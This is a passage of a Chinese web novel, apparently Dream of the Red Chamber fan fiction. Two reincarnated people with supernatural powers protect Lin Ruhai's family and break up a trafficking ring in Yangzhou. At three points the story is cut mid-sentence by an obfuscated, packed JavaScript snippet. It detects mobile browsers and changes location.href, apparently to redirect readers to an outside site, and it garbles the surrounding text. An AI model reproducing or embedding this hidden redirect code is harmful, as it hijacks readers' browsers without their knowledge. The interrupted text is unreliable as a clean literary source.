两人刚喝过一盏茶,一名年约五十上下的男子走了进来,清隽文雅,脸上有些文弱,却如挺立的紫竹,举手投足,无不彰显铮铮傲骨,却观之可亲。 邬桐心内赞一声,想着林黛玉到底是柳琼那厮的女神,作为林黛玉最后的依仗,林如海怎么也得救上一救,日后他们兄妹三人还得靠着林如海翻身呢。 她不插话,听着大哥和林如海寒暄,默默发动异能为林如海注入能量。她的治愈系异能已经可以不接触患者,凭借意志力治愈了,只是更耗费精力罢了。不过这个世界灵气充溢,她的异能提升速度,比上辈子快多了。 林如海正说到“不知黛玉有何物带来”,只觉心内一松,多年的心悸竟不再那么难受,就连嗓音都清越许多。 不待他多想,邬杨就低声道:“还请林大人屏退左右。” 待客的厅堂内下人本就不多,况都是心腹之人,林如海不动声色地多瞧了说话的年轻人两眼。挥了挥手,服侍在侧的一干小厮悄无声息地退出去。 邬杨这才松口气,将袖内的扳指和贾府名帖拿出来,道出身份:“我是粤海邬家的人,名叫邬杨,家母乃贾攸,是荣国府的大姑奶奶。和弟弟妹妹坐船赴京,谁知遇到祸事,这才来扬州寻林大人庇护。” 林如海心内一跳,昨日傍晚邬家来人报丧,说是外甥儿邬杨赴京赶考途中身亡,今日就有人说是邬杨,真真是奇了。 将扳指和名帖看了又看,扳指乃东宫之物,上面有印记,这个做不了假。只是这东西棘手,外人不知,他作为皇上心腹,知道太子是废定了的,粤海将军邬家是想救太子不成? 林如海抬眸,眼神中已有了疏离。邬家乃南海一霸,掌管海防,就连南安郡王这个名义上的南海郡王,都得仰仗邬家。这是让皇上掂量掂量,若当真废太子,南海就会反? 见对面人眼神变了,邬杨不知哪里得罪了林如海,不过仍硬着头皮,将二伯的话原数告知:“二伯只说将扳指给到三王爷即可,其他都没说。 只是林大人该是知道了消息的,现如今我和弟弟妹妹身份尴尬,如何能见到三王爷?不得已,这才来求见林大人。” 林如海端起茶盏,缓缓吹了吹杯中漂浮的茶叶,徐徐开口:“你可是去进京赶考?可知昨日邬家已经来报丧了,说是邬杨落水而亡,弟弟邬柏得知消息后惊惧交加,当晚就没了,这两日丧报只怕已经进了荣国公府。” 邬杨忍着酸楚,将弟弟妹妹如何偷偷跑出来,又如何逃难来到扬州的事悉数告知了林如海。林如海如何不知道内宅的那些腌臜事,他年过半百只得一女。府中姬妾也曾有过身孕,却全都没生下来。贾敏做过什么,他用脚丫子想也能知道。 将茶盏放到桌上,林如海默默地听着,半晌后,徐徐开口:“这样,你们三人先搬到林府,我先密信给到三王爷,之后如何办,得听皇上和王爷的,不知你意下如何?” 那自然是再好不过,有了林家的庇护,日后就算邬家人见了,他们做了亏心事,自是不敢声张的。邬桐心内高兴,悄悄瞥了林如海的面色,见治疗有了效果,她也没多话,跟在大哥身后进了林府的一个院落。 厢房内,柏哥儿已被接来,此时见哥哥姐姐俱平安,自是欢喜。三人在林府安住下来,虽不能随意出府,但一应物什都不缺,安全又有保证,一路忐忑不安的心才算放下。 只是邬桐隐隐有感觉,二伯邬有道只怕是凶多吉少了。记忆里,原主这个二伯无儿无女,却坚决不纳妾,与妻子恩爱异常。无事时会带着他们三个出去玩,喜欢捣鼓些机关淫巧。邬桐挠挠头,南海事关海防,柳琼那家伙总是嚷嚷着什么大航海,说不得以后还得利用邬有道这个将死之人。 这边安心在林家住下,宁荣街茶楼的柳琼却在发愁。无他,都三日了,还没想出其他赚钱的法子,可不愁死个人。 二百两听着不少,可给母亲买下人,赎回母亲之前典当的嫁妆,再给弟弟交束脩,竟是只剩了不到十两,够干什么的。离夏收秋收还有段日子,母亲嫁妆庄子上的出息接不上趟,竟是又捉襟见肘起来。 在末世的时候,他和邬桐都有异能,有政府供养,从不担心钱的事,如今一切从头再来,竟是毫无头绪。 正发愁呢,不想那边冷子兴晃悠着过来,见到贾家的爷们儿自是要寒暄两句的。他的古董铺子可靠着贾家发财呢。 “琼大爷,这是又想出什么赚钱的法子了?以后有什么事您吩咐,小子就是上刀山下火海,也给您办得妥妥当当。” 当日薛蟠二百两银子买了一堆画着画儿的破草纸的事,早在管事们口中传开了。以前谁都没放在眼里的一个人,没成想竟是个有能为的。 柳琼是什么人?那是比王熙凤和贾琏加起来还心黑的主儿,不然以他上辈子的鸡肋异能,能在异能满天飞的末世部队里任高官? 见冷子兴撞上门,柳琼焉有放过的道理。反正冷子兴也不是什么好人,且来历大大的不明,坑他毫无心理压力,柳琼起身,扬起笑脸招呼道:“什么风儿把冷兄吹来了?昨日还听说您岳丈被府里叫进去说话了,可知恩宠。” 冷子兴心内冷笑,面上却与有荣焉。他岳丈就是个奴才,要不是搭着荣国府这条线,他会娶个奴才门第的女人? “哪里,哪里。这不是得了扑克牌这个新鲜玩意儿,薛家做好送到府里几副,老太君让岳父给江南林家也送一副去,正好明日我也跟着出一趟船。” 江南林家?这是女神想给林如海送东西?柳琼心内一动,自来江南就是朝廷的钱袋子,哪里有比江南更赚钱的地方。且天高皇帝远,江南没人认识他,他拿出什么东西都不稀奇。 这不是刚瞌睡就有人送来了枕头嘛,他拱手恭维道:“可见您岳丈是个能干的,不然谁不吩咐,单就找您岳丈去?可见是个办事办老了,让人放心的。” 有的没的说了半盏茶的功夫,才将人打发了。柳琼忙起身求见贾琏,荣国府外面的庶务都归贾琏管,少不得要送些银子,搭这趟顺风船走一趟。 这还不到晌午,贾琏自然不在家,在秦楼楚馆外转了一圈,远远在会真观外瞧见了荣国府的马车。 这会真观听着好听,像是得道高人修真修道的场所,其实内里腌臜得很。全真姑子、小道士、女尼的,京城里纨绔子弟哪个不知。 贾琼摸摸鼻子,没敢进去。这要是让邬桐知道他进过这里面,还不得扒了他的皮。 在一旁的茶楼里要了一壶茶,暗暗留意着贾琏的动静,却想着桐儿的去向。 扑克牌只能算是旁门左道,桐儿是学珠宝设计的,银楼里怎么都得去看看,还得注意着林如海和林黛玉那边的动静。 桐儿知道他是林黛玉迷弟,不论出于什么目的,见了林如海和林黛玉都会救的。只要有消息说两人的身子好了,那肯定是桐儿做的。 刚有些头绪,那边马车边就有了动静。柳琼连忙起身,扔了半钱银子,打发了殷勤过来倒茶的小二,急急到马车前搭话:“见过琏二哥哥。” 贾琏长身玉立,是个矜贵的公子哥长相,正要矮身进马车呢,闻言抬起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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要的就是这句话,贾琼面色郑重地狠推了几次,终是不得不收起银票,下马车回家去。 家里,母亲刘氏那里又是一番搪塞,只说府里派他去江南办事,事涉机密,不让往外说云云。刘氏一听就是假话,府里什么时候给琼哥儿派过活儿?可琼哥儿自来不听她的话,刘氏几次想张口,终是没说一句。 弟弟贾瑾是个被父母管怕了的,老实得不行,只知道一味读书,万事不管。可能真有些天分,十岁上就在私塾里极受先生照顾。 是的,贾瑾没在贾家族学里念,而是在外面找了个私塾让念着。不知是父亲看出了族学不是正经念书的地方,还是有其他什么说道。不过不去正好,少跟那两府接触,日后也好脱身。 他吩咐贾瑾:“大哥去江南几日,你就是家里拿事的男人,平日里也别只一味读书,多帮母亲妹妹料理些庶务,也算是你的孝道了。” 有大道理压着,贾瑾虽不喜哥哥为人,也只能答应。 安顿好了家里,柳琼匆忙回屋收拾行李,顺便琢磨赚钱的法子。现在他有二百两银子打底,租个铺子做买卖不成问题。只是没有可靠的人帮忙打理,这个得好好谋划。 通篇《红楼梦》里靠谱的人不多,外面的也就贾芸、刘姥姥,可也都是书里看的,人他还没见过,得考察考察再说。而且刘姥姥那女婿也不是省油的灯,能帮着周瑞争买田地,不谨慎处理也是个祸害。 他是学文学的,只对古董有些研究,难道去跟冷子兴抢生意?那冷子兴的古董铺子可是吸着贾家的血呢,虽说是贾府里的奴才暗中捣鬼,可贾府的史老太君和主子们只知道一味的享乐,半点儿危机意识也无,你不败谁败? 柳琼冷笑一声,冷子兴这个钉子得拔了,他虽然也想发财,但君子爱财取之有道,他不会坑贾家的钱。且来一趟红楼梦,日后置办些铺子田庄给主角们养老,也算是报了先知先觉的恩。 还有科举,柳琼叹口气,先前说让邬桐当女皇那是开玩笑。现在又不是乱世,别说女皇了,就是造反都没由头。还是科举稳妥,以邬桐的性子,八成是要赚些钱享受几年的,那就得有官位护着。 这个年头,单纯经商是不成的。没有高官护着,就连皇商薛家都败落了,况且他从没经过商,自认为也不是那块料。还是正经考科举吧,这科举就得花银子,这不是又绕过来了。 赚钱,还是TMD赚钱。 柳琼挠挠头,桐儿啊,为夫好像,真的,有些离不开你。起码末世前后跟桐儿在一起时,都没为钱发过愁。 4. 身份 “姐姐,你怎么总是想着赚钱的事?”柏哥儿看着一身男装打扮的邬桐,有些不解,“既然姐姐说要做林家的庶子庶女,还能缺银子花不成?上次姐姐卖画赚了五百两,这次又想卖什么去?” “傻弟弟,姐姐就是出去转转,休得啰嗦。”邬桐揉揉柏哥儿的头发,哭笑不得,“林家庶子庶女的话,都是姐姐的一厢情愿,能不能行还不知道呢。而且就算成了,林家的银子咱们就能安心花了? 你是不是傻,咱们是林家的什么人?林如海就算是认咱们做庶子庶女,也没有厚待的道理。 他有亲骨肉要养,能让咱们吃饱穿暖就不错了,要想吃得好穿得好,自然得自己想着赚钱了。” 邬杨点点头:“这话很是,日后就算是成了林家人,跟正经的林家女公子是不同的。咱们护好了自己,再帮着看护下林家女公子,算是报了林大人庇护的恩情了。” 邬桐内心偷笑,柳琼那小子要是知道女神身子好了,不知道怎么高兴呢。不一时脸上又有些古怪,说不得......柳琼会穿越成个女人呢?这才有趣儿呢。 贾家官船上,柳琼大大地打了个喷嚏,不知道谁又在编排他呢。这次下江南,少不得多收些新鲜的扇子,谁让贾赦喜欢呢,说不定蝴蝶翅膀一扇,还能救了那石呆子一命。 虽说贾琏混蛋,但在石呆子一事上他不是没底线的人,算是给他挣回了一些好感。最最可恶的就是贾雨村,等他有实力了,非得捏死这个小人不可。 柳琼看够了江心的风景,回到舱内继续读书。既然要科举,就得将书细细看一遍才行,衍生世界和原来的历史到底是哪里拐了个弯儿,这得看过才行,半点儿马虎不得。 古代皇帝可最爱捣鼓文字狱那一套,错一点儿就可能抄家灭族,别贾府没事,他倒是先来个抄家,可不笑死人了。 这边柳琼窝在船舱静静地读书,林府,邬桐从后院角门出府,一步步行来。 扬州的大街上行人如织,有穿绸缎款步慢行的富家公子,也有身着布衣行色匆匆的白身。耳中是食肆伙计的叫卖声和挑担货郎的吆喝声。 时值烟花三月,瘦西湖旁的柳条早已绿意盎然,随风摇曳。岸边茶楼酒肆林立,尽显繁华,好一幅‘清明扬州图’ 上次卖了首饰图样,这次邬桐想试试衣服样式。刚要进入一间绣坊,就见不远处围着一圈儿人,一道凄厉的女声响起:“我不认识这个人,真的,她不是我婆母。我不跟你走,你放开我......” “你这个小媳妇。”人群中有老妇人骂道,“你婆母都给你买新布做衣服了,你还想怎么样。刚才你承认了这是给你买的布,好端端的,谁会给不认识的人买布?” 邬桐第一反应就是人贩子,末世前她看过很多这方面的报道,知道有人会利用他人的贪念,先给些小恩小惠,然后突然发难,利用舆论逼得人不得不跟他们走。当然,人群中肯定有他们的托儿,蒙汗药也不能少。 顾不得许多,邬桐急步朝前走,拨开人群,就见中间,一个大约十五岁左右的女娘,被一个健壮汉子扯住手腕。女娘穿着有些破旧的褐色细布衣服,一张容长脸,柳叶眉,本有五分姿色,此刻脸上糊满了鼻涕眼泪,一点儿形象也无,连身躯都在不住发抖。 一旁的老妇人,穿着打补丁的麻衣,神色凄苦,对着‘无理取闹’的儿媳,似是讷讷不敢言,只一味地抹鼻涕揩眼泪地向围观人群诉说无奈:“大家评评理,我老婆子还能怎么对她好。她爹吃药的钱都被她偷了,买了这匹细布,还想咋?秀啊,回吧,大郎还等着跟你过日子呢。” 身边健壮的大郎拉着女人的另一条胳膊,恶狠狠地瞪着女人。 女人脸都白了,她是城外村子里偷跑出来逛街的,先时老妇人糊里糊涂地,举着一匹细布说是她掉的,她一时贪心说了一会儿子话。这时候再不知道上当就是傻子了。她拼命反抗,可哪里是男人和老妇人的对手。人群里充斥着对她的不屑和嘲讽,女人拼命求救都没人帮把手。 “做儿媳的,怎么这么不懂事?要我说早该休了。” “就是,留着这种人,不够糟心的。” 那大郎嘴角隐晦地翘起,又是一个蠢女人。 邬桐恨得牙痒痒,瞬间发动异能,老妇人和大郎只觉得手臂酸痛,年青女人一下子挣脱了,初时还有些难以置信。随即见两人抱着手臂叫唤,顾不得许多,拨开人群撒丫子就跑。 人群中有想帮着追的,都无缘无故跌倒在地,叫骂声此起彼伏。 老妇人和大郎眼睁睁看着银钱跑掉,眼睛里都充血了。等手臂不疼了要去追,哪里还看得到人影。人群渐渐散开,大郎和老妇人悄悄对视一眼,沉默地快步向一条小巷走去。 邬桐悄悄地跟在身后,人贩子都是一波一波的,这两个做人前的脏活,后面销货的呢?帮着藏人的呢?整条线上的人都抓到,才算是除害呢。 麻衣巷,邬桐躲在巷口的大榕树后,看到两人敲开第四扇黑漆大门,一个中年妇人探出头,警惕地左右看看,见无人才让两人进屋。大门关上,邬桐等了一炷香时间,才翻墙进去院落。 末世时,像她这种身怀精神系和治愈系两种异能的人,会接受严格的军事培训,不说能大杀四方吧,在战场上保命是必须的。翻墙,只是其中一项最基本的技能。 院落正房内,谈话才刚刚开始。做的是杀头的买卖,为了怕人跟踪,每次关上大门,须得一炷香时间没动静,众人才会开始交谈。邬桐作战经验丰富,知道人贩子最是谨慎,因而才会延迟翻墙的时间。 “谭婆,你可看到今日是谁捣鬼吗?”被称作大郎的男人沉声问道,“要不是这个人,那个女人这次跑不了。” “没看到。”谭婆的声音有些嘶哑,“先别管这些,咱们只怕暴露了,今晚就得转移。荷花,那些货都还在吗?” “在,都在地窖里关着呢。”开门的中年妇人道,“当家的去收夜香了,得出城 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15100319|163788||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 卖了才能回来,今天走不成,哪有一天卖两次夜香的,平白惹人怀疑。只能明天先放到车里才行。” “那今天就不要给他们喂饭了,饿一顿,省得路上有力气闹事。”大郎恶狠狠地说。 听到了想听的消息,邬桐悄无声息地出了院子。明日早上得来一趟,一是她不知道地窖在哪里,二是也想看看他们要将人转移到哪里,是不是更大的一处窝点。 心里装着事,邬桐没再去卖图样,在街上买了几串糖葫芦,才再次从后门进了林家。 同一日,京城皇宫,三王爷将林如海通过暗卫转交的扳指献给隆昌帝,跪下道:“父皇,这扳指是大哥在隆昌十八年下江南的时候遗失的。 隆昌十六年,遗失了一个玉如意,可却出现在了宁国府承重孙的媳妇嫁妆里。如今这个扳指出现了,人却不见踪影,不得不让人深思啊。” 隆昌帝眼睛微眯,宁国府承重孙贾蓉的妻子秦可卿是老大的私生女,这个身份四王八公无人不知,他也只睁一只眼闭一只眼随他们闹去。可这个扳指出现了,孩子却没出现...... 隆昌帝脊背挺直,眼神越来越冷:“那孩子,只怕已经送出去了。” 粤海将军邬有道是他早年布的一步棋,是他手下的死士,绝对不会出卖他。如今冒死送出这个消息,可见是在他不察的时候送出去的。如今邬有道只怕自身难保,除了邬家,谁有这么大的本事瞒着他送出海? 四王八公! 好啊,表面上对他臣服,私下里送出去一个太子的私生子,这是想干什么?打量朕这里给不了他们荣华富贵了,想一脚踢了另立新主? 惯得他们! “悄悄派人收拾一座郡王府,将太子那些儿子们都搬进去。”隆昌帝揉揉眉心,难得地对这个接手了暗卫的儿子解释道,“不是朕要放过太子,而是须得让大家知道,太子的正统后人在京城,那什么出海的私生子,这辈子也只能是私生子而已。” “另外接邬家那三兄妹进京,就以......林家庶子庶女的身份进京吧。派人去南海,联络邬有道,并在各岛秘密搜寻那孩子下落,一定不能打草惊蛇。” “遵命。”三王爷叩头,许久听不到父皇再开口,抬头却见戴权摆手让他出去,忙缓缓起身退了。 “陛下,三王爷出去了。”戴权低着头,小声回道。 “嗯,出去吧,让朕静静。” 太子做了三十多年的太子,犹如神祗一般,吸引着朝臣和读书人的忠心。要是太子成器,他何苦费这么大劲儿废太子呢。 可太子太不像话了,江南的赋税他敢截,四王八公的富贵荣华他敢保,就连兵部都想插一腿,是觉得朕老了,该让位了? 历朝历代瞧瞧去,哪个朝代供养这么多代异姓王的。不想着削王爵,倒和那群废物囊子同流合污,让朕怎么放心把天下交到他手中? 隆昌帝伤心不已,丝毫不知林如海接到密信后有多惊讶。 5. 试探 翌日凌晨,邬桐谎称在家画图,实则瞒过众人,悄无声息地来到昨日的街口。只见五辆散发着污秽气味的驴车,缓缓从第四扇门驶出。邬桐挑挑眉,看来拐卖的人还不少。 跟上驴车,先是在城内七拐八拐地收夜香,耽误了有一个多时辰,直至天光大亮,才出了东城门,来到扬州城郊的一处庄子附近。庄子围墙很高,裸露着红砖,铺沿开去能有十几米,占地不小。 等了一会儿,见没有动静,邬桐这才寻到一处角落,悄悄爬上去查看。许是太久没人找上门,又或者是背靠大树有恃无恐,庄子内防卫并不严密。三十多个身着红衣的女孩子,大概十二三岁的年纪,头顶着水碗站立,竟像是在练规矩。 扬州最有名的,除了咸鸭蛋和狮子头,便是文人墨客口中的‘扬州瘦马’了。这些女孩子从姿容上看,确实有培养的价值。那这就不是简单的人口贩卖了。‘瘦马’历来是最佳的奸细,背后之人恐怕在江南势力不小。 邬桐暂时绝了抓住背后之人的想法,君子不立危墙之下,她如今不是一个人,就怕一个疏忽连累了原身的亲人。 发动异能让众人昏迷,邬桐小心跳下墙。将每个屋的财物笼络在一处,又在屋内和院中仔细翻找了一遍。在柴房的地窖中,发现了窝藏起来的女孩子,显然是刚被拐来的,见到她时,身子颤抖地厉害,眼神里还带着惊惧。后院枯井里找到了一箱金银,确认再无遗漏后,邬桐才再次发动异能。 院中练习规矩的女孩子们苏醒过来,和地窖里出来的孩子们面面相觑。 “不要吵,你们暂时不能说话。”邬桐用异能封住了众人的喉咙,扬声道,“我是看到有人在扬州城拐卖女子,才跟到了这里。你们是怎么到这里的,有人记得吗?” 刚被拐来的女子泪眼汪汪地点头,而练规矩的女孩子大多没有反应,只警惕地看着邬桐。 邬桐瞥了一眼众人,无奈道:“这些人贩子已经被我下药了,一时半会儿醒不过来。你们应该都是被拐卖过来的,我找到了这些人的财物,现在给你们一人五两银子,记得家里的就回去,不记得的就去官府的慈幼院,或者尼姑庵善堂之类的地方,总能有一口饭吃。走吧,这些人我会交到官府。” 说着一人给了五两银子,打开庄子的大门让众人离开。衣衫褴褛的女孩子们你看看我,我看看你,半晌犹豫着给邬桐磕了个头,相互搀扶着走到门口,见确实没人阻拦,这才踉跄着小跑出去。 红衣女子中,有几个存了攀龙附凤心思的,跺跺脚,恨恨剜了邬桐两眼,接了银子甩身出去了。 邬桐心往下沉了沉,幸亏出来时易了容,又刻意在衣服里垫了东西。大家见到的,是一个虽然不高但异常壮实的汉子,绝非小女子邬桐。 人走后,邬桐用精神力摧毁了人贩子的神经,下辈子痴痴傻傻地过吧。既然做了坏事,就得付出代价。庄子门户大开,这些人什么时候被发现,就什么时候得救。没要这些人的命,已经是邬桐仁慈了。 解决完这些后续,邬桐才施施然起身返回扬州城,远远瞧见有女孩子也进了城门,知道她们家可能就在城内,邬桐翘翘嘴角,总算是做了件好事。 可等两日后,邬桐再去绣坊卖图样时,却听到购买成衣的几个妇人议论。 “杜家的四小姐死了,你可知道?”一个蓝衣的妇人捅捅同伴的腰,神秘兮兮地道。 “四小姐不是病重好几年了嘛,死了很正常啊。” “你知道什么。”见周围人少,蓝衣妇人开口道,“听说四小姐不是病重,是被人贩子拐跑了。” “这可不能胡说!姑娘家的清白,可不能胡言乱语!” “哪里胡说了。”那蓝衣妇人撇撇嘴,一副‘你不懂’的眼神,神神秘秘道,“四小姐回来那日我瞧得真真的,穿着新展展的红衣服,千真万确。 你说说,一个姑娘家家的,失踪三年回来,那三年做什么去了,你敢想?那杜家老爷子可是秀才,哪里受得了这个。什么病重死亡,这是怕丢人呢。当我不知道呢!” “呀,那前几天文家的二小姐也死了,是不是也是这样啊?”同伴兴奋起来,小声道,“我记得两人是同一年发病的,现在又一齐死了,你说......” “能是什么,八九不离十!” 看着七嘴八舌围拢过来听热闹的众人,邬桐久久愣在原地,前几日的好心情荡然无存。她的鲁莽,竟然害了她们吗?是不是她不出手,其实才是最好的。起码,她们不会死。 两日后,林如海又看了看三张路引文书,哭笑不得。这是御赐了三个孩子?既然是皇命,再荒唐也得办,他缓缓步入后院儿,却听到许久未闻的说笑声。前两日小姑娘不知道怎么了,无精打采地,这是遇到什么好事了? “哥,这扑克牌当真有趣得紧,那贾家的管事可进林府了,咱们要不要见见?”邬柏的声音越来越小,最后说到贾家管事时,要不是林如海耳朵尖,还真听不清说了什么。 “林大人。”邬杨瞥见林如海的皂靴,暗暗警告柏哥儿一眼,起身行礼。邬桐看到扑克牌里的暗语,像是重新看到了希望,心内正高兴呢,丝毫没注意邬杨的警告。 林如海摆摆手,见邬杨生得俊秀,眼神清明,知道是要做自己“儿子”的人,心内先就高兴了几分:“不必多礼。这几日住得可还习惯?我这次来是跟你们说,皇上那边来信了。 让你们以林家庶子庶女的身份进京,面圣的事圣上自有安排,你们只管进京等着便是。以后你们就叫林杨、林桐、林柏,这是身份文牒,可不要丢了。” 那怎么能丢,这可是杀头的大事。邬桐看着盖了大印的文书,知道三人的命算是保住了,不到万不得已,他们不会再成为“邬家”人的。 “做戏做全套,既然是我林家的孩子,这扬州城里的人不能瞒着,不然该引人怀疑了。 这样,过几日我休沐,咱们一起去古木寺还愿。对外就说当时古木寺的老主持说了,我林如海的孩子,只能隐姓埋名寄养在寒门农家,才能平安长大。 当时舍不得嫡女黛玉,致使她一直病歪歪的,如今送到外祖家住着才好些。快二十年了,现在你们平安长大了,自然该去还愿。 另外派人收拾进京的箱笼。如今你们是我林如海的孩子,排场自然得摆起来。”林如海沉吟片刻道,“上次黛玉进京急,带的人少了些,这次你们多带些人手,我林家在京城也是有宅子的,你们去贾府把黛玉接出来,安心住着吧。黛玉身子不好,后宅就麻烦桐姐儿照应。” “不知黛玉妹妹有什么忌讳没有?”邬杨忙问道。 “她啊,就是身子不好,爱哭,其他就没什么,最是乖巧可人的。你们见了就知,阖府就没有不爱我们黛玉的。”说起爱女,林如海没什么表情的脸上出现柔情,令邬桐心内一酸。 阖府没有不爱的,那是在你们林家。既然知道当初去的急,带的人手少,怎么现在才想起送人过去。原书里林黛玉可是‘步步留心,时时在意,不肯轻易多说一句话,多行一步路’。可见是多么敏感多思的人,你这个做爹的就敢这么大意。 “林大人,怒我多言。之前就听说您身子骨不好,说是时日无多。可这几日所见,并不觉得有那么严重。还请大人多留心,外面那些流言也不知是怎么传出去的。”林如海忙于正事,这些市井流言可能不会在意,她不得不出言提醒。这些话是林如海故意放出去的还好,如果是被人恶意传出去的,再被有些人利用,弄个以假乱真,真给林如海来个暴毙身亡,可就顺理成章了。 林如海被钦点巡盐御史,这么些年肯定得罪了不少人,也挡了不少人的路。如今他们三人和林如海是一条船上的,林如海且不能死呢。 多看了眼前这个眉眼鲜活的少女几眼,林如海哈哈大笑,笑声中透着豪迈:“放心,我心里有数。”话是他让人放出去的,巡盐御史不能再做了,他必须得回京,不然命只怕就保不住了。回京就得有理由,身子不好就是他给自己找的理由。 “老爷,贾府的爷们儿和管事还在外面等着。”林管家没进屋,只在外面禀告道。 贾府的管事早就被迎进了府里,老爷本来都要见了,谁知半路接了一封信后就拐道去了后院,半日了也没动静。国公府的族人和管事儿他自是不敢怠慢,只好出言提醒。 “哦,贾府来人了?”林如海声音不疾不徐,听在邬桐耳中,似是隐含着嘲讽和怒气一般。 “来了个叫贾琼的,是贾家的族人。” 邬桐心内一动,刚看到密语,这就到了江南?只是贾琼,书上有这个人吗?她怎么现在都没想起来? 不止她不知道,林如海也第一次听说贾琼这么个人,不过族人而已,也没多往心里去。两个国公府,历朝历代去看,都没有贾家这么荣宠的。金陵和京城都有族人,好家伙,赫赫扬扬几百号人,走到哪里都威风得紧。只是后辈中出息的不多,否则真是,再富贵百年怕也是轻而易举。 “林大人请便,我和弟妹如今身份已明,不必挂心。” 邬杨递话儿,林如海笑笑就出去了。贾家再如何,如今还是他的姻亲,老太太还在呢,超品的诰命,他再是不屑,面上却不能出错。 “劳族侄久等。”林管家掀开帘子,林如海进门就拱手,让气质不俗的少年只管安坐,笑道,“劳烦族侄回去给老太太捎个话,就说林家将寄养在外的三个庶子庶女接回了府,五日后去古木寺还愿上香,不久就会上京看望黛玉,还请老太太多加照拂。” 庶子庶女,古木寺?柳琼挑挑眉,瞥了两眼林如海的气色,就知道其中必有桐儿的手笔。想来这庶子庶女里肯定有桐儿了。 “恭喜林大人。”柳琼起身道贺,不动声色地打听庶子庶女的事,“不知何日上京?是和贾家的船一起走还是?” “自然是分开走。”林如海摸摸胡子,笑呵呵地道,“我那大公子明年春闱要下场,小儿子身子不好,在京中须得延请名医医治。姐儿待字闺中,正好过去和黛玉作伴,也好过让她一个人在贾府孤孤单单的。” 你也知道黛玉一个人孤孤单单的啊,柳琼心内腹诽,面上却附和着说了许多恭维的话语。听到林如海让他和周瑞住在林家,柳琼自是没有不答应的道理。有了巡盐御史的招牌,后面买古董、扇子、瓷器等事就好安排多了。 各管事看他坐着林家的轿子,自然不敢怠慢,好字好画都拿出来让瞧,价格也不敢喊太高,正好便宜了柳琼,两百两银子花出了四百两的效果,到京城说不得八百两都赚得。 赚过这一笔就专心读书,以后这赚钱的事还得交给桐儿,他能有这一笔,也算是振了夫纲,见到邬桐腰杆子也直不是。你家爷可不是那只会伸手要钱的。 却说邬桐三兄妹,从寄居的客人,一跃成为林家的正经主子,林管家立时就要挑选丫鬟、小厮伺候。 林家五代单传,向来人丁单薄。如今老爷有了四个孩子,虽然有三个是假的,但别人不知道啊,且那三个孩子跟夫人也是有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15100320|163788||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 些血缘关系的,完全可以算做是过继来的,无论如何也是光宗耀祖了。因此林管家倒是格外上心。 有那自恃有些姿色的小丫鬟,敏锐地看到了出头的机会。以往,家里的男主子只有老爷林如海,虽位高权重,却也是年过半百的“老人”了。如今有了两位年轻英俊的少爷,岂会不找姨娘通房的? 林管家一张罗选人,那有头脸的管事或仆妇,都将女儿、孙女带到林管家宅子里。瞧一瞧嘛,我家的闺女、孙女这么俊,不选上是不是有些亏? 人家还不是空手来的,千日醉的好酒,飘香居的点心,三羊居的酱菜,都是扬州城有名的吃食,彼此又是府里共事几十年的老人了,林管家能不给面子?林管家婆娘能不给面子? 一来二去的,林管家就发了愁,怎么也得偷偷跟老爷通个气儿吧,不然这事儿怎么整?真弄一屋子莺莺燕燕的? 林如海两眼一闭,悠悠然品茶去了,全似没听到一般。 好吧,作为心腹,林管家自是知道老爷的意思了。私下请托的是一个都没推,小姐少爷们选下人,林管家倒是着实发了一笔小财。 三日后,带到三人面前的丫鬟,有那心怀大志向,眼珠子滴溜溜转的。也有那老实本分没什么心眼的。一水儿的□□绿丫鬟妆,那心思活络的,在领口、袖口处滚了一道柳红的边儿,站在那也不老实,眼珠子直往邬杨身上溜,等邬杨注意到了,她倒娇羞地低下头,摆弄散落的乌发去了。 邬杨坐在椅子上,脸色涨得通红,手不自觉地握紧,眉头紧皱,及至瞥见几个低眉顺眼老实站着的,才稍稍舒展眉眼,抬手指了四个粗苯的丫鬟,起身,粗声粗气地对着林管事道:“这四个我和柏儿一人两个,尽够了。我俩都在前院,带着小厮更方便,还请管家多安排些小厮才是。柏儿,走,去读书了。” 声音硬邦邦地,听得林管家低着头不敢言语。老爷真是,坏人都是他做,他就是个好爹,是吧? 邬柏年纪小,低着头不敢乱瞧,只是脸颊红扑扑的,听见大哥的声音慌忙起身,一路小跑着出去了。 邬桐憋着笑,戏谑地瞥着那几个有大志向的丫鬟,那眼神儿怎么说呢,哥哥弟弟路过的时候,恨不能跟看负心汉一样盯着两人瞧。她肩膀一颤一颤地,古时候的男人,有时候也挺有趣的。而且她的运气真是不错,虽然大哥小弟可能并不会一辈子只有一个女人,但是能在娶妻前不纳妾,不沾染女色,在这个时代已经算是好男人了。 “林伯,您这事儿办得有点儿糙啊,老爷没指点指点?”邬桐似笑非笑,这事里少不了林如海的手笔。四人目前是合作的关系,林如海要考察他们的人品,可以,可这么明晃晃地试探,是不是有点儿儿戏了?这是看不起他们吧。 林管家嘴角抽动两下,知道这位姑奶奶在看笑话,描补道:“少爷们的人品自是没话说的。从粤海到扬州,千里之遥能带着姑娘平安抵达,自然是英雄人物了。自古英雄难过美人关,老朽自作主张安排了这一出,让姑娘看笑话了。” 